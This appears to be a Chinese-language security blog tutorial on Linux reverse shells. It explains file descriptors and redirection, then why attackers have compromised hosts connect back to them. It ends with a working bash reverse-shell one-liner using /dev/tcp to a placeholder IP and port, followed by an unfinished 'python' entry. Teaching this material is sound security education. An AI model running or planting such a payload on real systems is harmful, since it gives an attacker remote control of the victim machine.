Linux反弹shell
文件描述符
编号 | 文件描述符 | 含义 | 默认链接 | 用法 |
---|---|---|---|---|
0 | stdin | 标准输入 | 键盘 | 仅读取 |
1 | stdout | 标准输出 | 终端 | 仅写入 |
2 | stderr | 标准错误输出 | 终端 | 仅写入 |
3+ | filename | 其他文件 | 无 | 读取/写入 |
输入/输出重定向
> fille
> 相当于 1>
但>
符号有点危险,因为会覆盖文件原有内容
>> file
>>
就比>
安全,>>
是在文件后追加
2> file
会将错误的输出重定向到指定文件
2> dev/null
/dev/null
类似垃圾桶,输入到该文件下的内容都会被丢弃
> file 2>&1 和 &> file
> file 2>&1
和&> file
和>& file
都是一个意思,将stdout和stderr都重定向到file中
>&1
中的&符号是将后面的数字解析成文件描述符的意思,如果不加&
符号,系统将会把后面的当成一个数字作为文件名的文件
< file
表示的是输入重定向,就是把<后面跟的文件取代键盘作为新的输入设备。
什么是反弹shell
reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
为什么要反弹shell
通常用于被控端因防火墙受限、权限不足、端口被占用等情形
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?
某客户机中了你的网马,但是它在局域网内,你直接连接不了。
它的ip会动态改变,你不能持续控制。
由于防火墙等限制,对方机器只能发送请求,不能接收请求。
对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
反弹shell的paylaod
bash -i 产生交互式shell
bash -c 是为了确保命令使用bash shell来执行,若默认shell就是bash那就没有区别
1 | bash -c "bash -i < /dev/tcp/ip/port 1<&0 2<&0" # n< 这里n省略就是标准输入 |
拓展反弹shell命令
1 | python |
参考
Linux反弹shell(一)文件描述符与重定向 - 先知社区